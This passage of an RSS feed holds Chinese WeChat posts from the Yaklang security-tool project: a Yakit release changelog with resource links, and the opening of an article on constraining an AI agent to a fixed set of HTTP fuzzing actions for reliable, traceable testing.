rgb(247, 150, 70);"><span leaf="">END</span></strong></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><div style="outline: 0px;"><div powered-by="xiumi.us" style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;"><div powered-by="xiumi.us" style="outline: 0px;text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding-right: 11px;padding-left: 11px;outline: 0px;display: inline-block;width: auto;vertical-align: top;border-style: solid;border-width: 0px 1px;border-color: rgb(62, 62, 62) rgb(255, 129, 36);min-width: 10%;flex: 0 0 auto;height: auto;align-self: flex-start;"><div powered-by="xiumi.us" style="outline: 0px;color: rgb(255, 255, 255);"><p style="outline: 0px;"><span style="outline: 0px;background-color: rgb(255, 129, 36);"><strong style="outline: 0px;"><span style="outline: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">更新记录 </span></span></strong></span></p></div></div></div><div powered-by="xiumi.us" style="margin-bottom: 10px;outline: 0px;"><div style="outline: 0px;font-size: 14px;text-align: justify;"><p><span leaf="">Yaklang 1.4.7-beta8</span></p><p><span leaf="">[Yakit]</span></p><p><span leaf="">1. Http Fuzz 专注模式 UI 优化，减少错误日志输出以避免前端过载；</span></p><p><span leaf="">2. gRPC TLS 启动支持查看证书信息</span></p><p><span leaf="">3. 优化HTTPFuzzer发包错误提示并新增 TLS 自动重试能力；</span></p><p><span leaf="">4. Codec 编解码支持自动解码 Key；RSA 加密支持 JavaScript 解码风格；</span></p><p><span leaf="">5. 修复 file.save 覆盖逻辑失败问题；</span></p><p><span leaf="">6. cli参数生成修正为有序模式</span></p><p><span leaf="">[Irify]</span></p><p><span leaf="">1. 优化编译语言判断，提升准确率</span></p><p><span leaf="">2. 修复C、GO、TS、Python的编译问题	</span></p><p><span leaf="">[Memfit / AIgent]</span></p><p><span leaf="">1. MCP 服务：重构升级 MCP 服务，提供外接 MCP 与 Memfit AI 工具；并新增 MCP 服务工具面板；</span></p><p><span leaf="">2. 模型与执行修复：修复 directly answer 多次不退出的问题；</span></p><p><span leaf="">3. 能力更新：深度规划支持并发执行任务，todo列表优化展示</span></p></div></div></div></div></div></div><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><div style="outline: 0px;"><div powered-by="xiumi.us" style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;"><div powered-by="xiumi.us" style="outline: 0px;text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding-right: 11px;padding-left: 11px;outline: 0px;display: inline-block;width: auto;vertical-align: top;border-style: solid;border-width: 0px 1px;border-color: rgb(62, 62, 62) rgb(255, 129, 36);min-width: 10%;flex: 0 0 auto;height: auto;align-self: flex-start;"><div powered-by="xiumi.us" style="outline: 0px;color: rgb(255, 255, 255);"><p style="outline: 0px;"><span style="outline: 0px;background-color: rgb(255, 129, 36);"><strong style="outline: 0px;"><span style="outline: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">YAK官方资源 </span></span></strong></span></p></div></div></div><div powered-by="xiumi.us" style="margin-bottom: 10px;outline: 0px;"><div style="outline: 0px;font-size: 14px;text-align: justify;"><p style="outline: 0px;"><span leaf="">Yak 语言官方教程：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/docs/intro/" target="_blank">https://yaklang.com/docs/intro/</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit 视频教程：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://space.bilibili.com/437503777" target="_blank">https://space.bilibili.com/437503777</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Github下载地址：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://github.com/yaklang/yakit" target="_blank">https://github.com/yaklang/yakit</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit官网下载地址：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/" target="_blank">https://yaklang.com/</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit安装文档：</span></p><p style="outline: 0px;"><span style="outline: 0px;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;"><span leaf=""><a href="https://yaklang.com/products/download_and_install" target="_blank">https://yaklang.com/products/download_and_install</a></span></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit使用文档：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/products/intro/" target="_blank">https://yaklang.com/products/intro/</a></span></em></span></p><p style="outline: 0px;"><span leaf="">常见问题速查：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/products/FAQ" target="_blank">https://yaklang.com/products/FAQ</a></span></em></span></p></div></div></div></div></div><div style="outline: 0px;"><div data-tools="135编辑器" data-id="121426" style="outline: 0px;font-family: mp-quote, -apple-system-font, Arial, sans-serif;letter-spacing: 0.578px;"><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6015104398045313" data-s="300,640" data-type="png" data-w="2251" data-imgfileid="100037040" src="https://wechat2rss.xlab.app/img-proxy/?k=3977bf26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ff7AtEgJhMZcGEibOlRNlz6ZPic3cWicMDwdqZLq9q0hibDYiaICia6nncspoDTRnjPXFGTr3VWd9FlV4YSXRStoabxbg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.325" data-type="gif" data-w="1080" data-imgfileid="100036982" src="https://wechat2rss.xlab.app/img-proxy/?k=41e5b736&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff7AtEgJhMZeX0EdicJxBOjGjQuecg0TvCvRgqibPwyOUp8untXs9Cl5XKux2yQQf27ibgZ0ic0Fm2yicdbYg6c4xUJg%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=02c211ef&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0MTM4NzIxMQ%3D%3D%26mid%3D2247529835%26idx%3D1%26sn%3D764029ebdd06c3a4d6179ce961328c0a">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 05 Jun 2026 17:40:00 +0800</pubDate>
    </item>
    <item>
      <title>从HTTP模糊测试看AI Agent的工程化设计</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&amp;mid=2247529827&amp;idx=1&amp;sn=9ca27272c2ad5346f43ee6490f5ffbe8</link>
      <description>用框架约束发散，换工程极致稳定</description>
      <content:encoded><![CDATA[<p>原创 <span>YAK</span> <span>2026-05-29 18:14</span> <span style="display: inline-block;">湖南</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1347f49d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjibGAup6p72G62Nolv56pHfQ9So1dwaNKDEETiakwKw1IsPib7GDiaPvINgSnKKXHcp7yHGLR1neibOByYJtHXlgB0NVkk4TPofeoTFpzxkz3ppU%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>用框架约束发散，换工程极致稳定</p>
  <p style="margin-bottom: 8px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1927710843373494" data-type="gif" data-w="1079" data-imgfileid="100032990" src="https://wechat2rss.xlab.app/img-proxy/?k=2ce71a29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff7AtEgJhMZfCSs0zKcMmDXyJt76PDpGiataSbajd3BpbZnPXBCqFaA3icu2mY1LGqAmJHIiaCq5N9qCBv47ktQEYA%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="text-align: center;margin-bottom: 8px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4064814814814815" data-s="300,640" data-type="webp" data-w="1080" type="block" data-imgfileid="100041806" src="https://wechat2rss.xlab.app/img-proxy/?k=8695437c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Ff7AtEgJhMZeeTiaUCTkrXfbtIPCxmicjgPxhq9ZDnzI4ge0SwCTAMbAvAI5yWUnoBLqzicqmJAtuUiaygZO5lqSGJQ%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><div data-mpa-action-id="mpqq6ln81jnh" data-pm-slice="0 0 []"><div style="margin: 0px 8px 8px;line-height: 1.6em;"><p style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;"><h1 data-pm-slice="0 0 []" style="outline: 0px;text-align: justify;font-size: 18px;"><strong><span leaf="" style="font-weight: bold;">一、一个人类工作行为的观察</span></strong></h1></p><p><h1 data-pm-slice="0 0 []" style="text-align: left;"><strong><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mpqpvzib1nfa" data-mpa-action-id="mpqpvzij1nx1" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">想象一个标准的 Web 应用模糊测试（Fuzzing）场景。当一名资深的安全工程师坐在屏幕前时，他的核心工作模式通常不是在想什么“奇招”，而是极其朴素且严谨的闭环链路：</span></span></strong></h1></p><p style=""><span mpa-font-style="mpnnidkzy0q" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">1.异常感知</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">“这个响应的状态码正常吗？是 500 还是 403？响应速度是不是明显变慢了？返回内容里是否包含特定的错误信息？”</span></span></span></p><p style=""><span mpa-font-style="mpnnidkz1yab" style="font-size: 15px;"><strong style="font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);outline: 0px;color: rgba(255, 129, 36, 0.43);font-size: 15px;font-weight: bold;"><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">2.差异比对</span></span></strong><span leaf="" style="font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);outline: 0px;color: rgba(255, 129, 36, 0.43);font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">“如果觉得有异常，它和正常请求的响应差异在哪里？是数据体积变了，还是内容本身变了？”</span></span></span></p><p style=""><span mpa-font-style="mpnnidkz1x6n" style="font-size: 15px;"><strong style="font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);outline: 0px;color: rgba(255, 129, 36, 0.43);font-size: 15px;font-weight: bold;"><span leaf="" style="font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);outline: 0px;color: rgba(255, 129, 36, 0.43);font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">3.决策下一步</span></span></strong><span leaf="" style="font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);outline: 0px;color: rgba(255, 129, 36, 0.43);font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">“基于这个差异，我是应该继续沿着当前方向深入测试，还是及时调整策略？”</span></span></span></p><p style=""><span mpa-font-style="mpnnidkz87n" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">在这个过程中，工程师的每一步测试、每一个判断、每一项结果，都是</span></span><strong style="font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);outline: 0px;color: rgba(255, 129, 36, 0.43);font-size: 15px;font-weight: bold;"><span leaf="" style="font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);outline: 0px;color: rgba(255, 129, 36, 0.43);font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">有条不紊、步步留痕</span></span></strong></span><span style="color: rgb(0, 0, 0);font-size: 15px;" mpa-font-style="mpnnidkz241p"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">的。</span></span></span></p></div><p style="text-align: center;padding: 0.5em;" nodeleaf="" data-mpa-action-id="mpqq9uez1ive" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046178" data-ratio="3.461236506378803" data-s="300,640" type="block" data-type="jpeg" data-w="1019" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=e56c0217&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjibGAup6p72FBsTYaVe92Eib1ONibMVxOficOePdnIvu4seJnC6TMshbzFZszxiaBvCuBECEicTZrL8cOdSyEsX0zfNvBMO4kRlxydPvTEV4Uuy6M%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="margin: 0px 8px 8px;line-height: 1.6em;"><span style="font-size: 14px;" mpa-font-style="mpnnk6kndss"><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mpnnkj8e1z5m"><span leaf="" mpa-font-style="mpnnlnab1kig" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">如果同样的事情，我们直接交由一个没有任何约束的 AI 来做，可能每次的结果都不太一致，如果模型能力偏弱一点甚至会流于失控：</span></span></span></span></p><ul style="list-style-type: disc;margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="margin-top: 0px;margin-bottom: 8px;line-height: 1.6em;"><span style="font-size: 14px;" mpa-font-style="mpnnk6kndss"><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mpnnkj8e1z5m"><span leaf="" mpa-font-style="mpnnlnab1kig" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">第一次测试它认为应该重点关注 Cookie；</span></span></span></span></p></li><li><p style="margin-top: 0px;margin-bottom: 8px;line-height: 1.6em;"><span style="font-size: 14px;" mpa-font-style="mpnnk6kndss"><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mpnnkj8e1z5m"><span leaf="" mpa-font-style="mpnnlnab1kig" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">第二次测试它可能又觉得应该先验证 HTTP 方法；</span></span></span></span></p></li><li><p style="margin-top: 0px;margin-bottom: 8px;line-height: 1.6em;"><span style="font-size: 14px;" mpa-font-style="mpnnk6kndss"><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mpnnkj8e1z5m"><span leaf="" mpa-font-style="mpnnlnab1kig" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">有时它会死磕在某个无法突破的方向上，不知道何时该放弃；</span></span></span></span></p></li><li><p style="margin-top: 0px;margin-bottom: 8px;line-height: 1.6em;"><span style="font-size: 14px;" mpa-font-style="mpnnk6kndss"><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mpnnkj8e1z5m"><span leaf="" mpa-font-style="mpnnlnab1kig" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">面对一个普通的响应，它可能给出主观的误判，却无法解释背后的逻辑。</span></span></span></span></p></li></ul><p style="margin: 0px 8px 8px;line-height: 1.6em;"><span leaf="" style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">缺乏约束的 AI，可能会出现看起来很忙，但测试过程却是一团乱麻。</span></span></p><p style="font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;margin-bottom: 2px;outline: 0px;text-align: justify;font-size: 18px;"><span leaf="" style="font-weight: bold;">二、从“发散思考”到“做选择题”</span></p><p style="margin: 8px;line-height: 1.6em;text-indent: 0px;"><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><span style="letter-spacing: 1px;font-weight: normal;font-size: 15px;" mpa-font-style="mpqq6lmxb3i"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">Yaklang AI 生态中的“专注模式”，其本质就是</span></span></span></span><strong mpa-font-style="mpqq6lmxy18" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">将人类工程师的经验与逻辑代码化，让 AI 做明确的选择题，而不是做无边界的填空题。</span></span></strong></p><p style="margin: 0px 8px 8px;line-height: 1.6em;text-indent: 0px;"><strong><span style="letter-spacing: 1px;font-weight: normal;font-size: 15px;" mpa-font-style="mpqq6lmx1dlh"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">系统明确地为 AI 划定了一个“工具箱”。在 HTTP 模糊测试场景中，AI 能够执行的操作被严格限制在 14 种标准动作内：</span></span></span></strong></p></div><blockquote><ul style="margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mpnnl8ahon5" style="font-size: 15px;"><code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">action_fuzz_body</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">：模糊化请求体参数</span></span></span></p></li><li><p style="margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mpnnl8ahyc4" style="font-size: 15px;"><code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">action_fuzz_header</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">：修改 HTTP 头部字段</span></span></span></p></li><li><p style="margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mpnnl8ah17cl" style="font-size: 15px;"><code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">action_fuzz_cookie</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">：修改 Cookie 进行测试</span></span></span></p></li><li><p style="margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mpnnl8ah1alv" style="font-size: 15px;"><code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">action_fuzz_method</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">：改变 HTTP 请求方法</span></span></span></p></li><li><p style="margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mpnnl8ah1aw8" style="font-size: 15px;"><code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">action_fuzz_path</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">：改变请求路径</span></span></span></p></li><li><p style="margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mpnnl8ah75i" style="font-size: 15px;"><code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">action_generate_and_send_packet</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">：生成并发送新请求</span></span></span></p></li><li><p style="margin-bottom: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mpnnl8ah1f7x" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">……（共 14 种标准操作）</span></span></p></li><li><p style="margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mpnnl8ah1mzy" style="font-size: 15px;"><code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">action_directly_answer</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">：直接给出最终测试结论</span></span></span></p></li></ul></blockquote><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mpnnl8ah1gyk" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">AI 的核心任务不再是在无限的可能性中瞎蒙，而是在这十几种定义清晰的代码动作中做出最合理的离散选择。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mpnnl8ahc4f" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">这种设计确实在一定程度上限制了 AI 的“创造性”，但对于模糊测试场景而言，却换来了工程落地最迫切需要的</span></span><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">高可靠性</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span></span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 2 []"><div style="margin-bottom: 2px;outline: 0px;"><p style="outline: 0px;text-align: justify;font-size: 18px;"><h1 data-pm-slice="0 0 []"><strong><span leaf="">三、专注模式的四大核心设计</span></strong></h1></p></div></div><p data-pm-slice="0 0 []" style="margin: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">为了将这种可靠性落到实处，系统在底层构建了四个核心设计支撑。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: 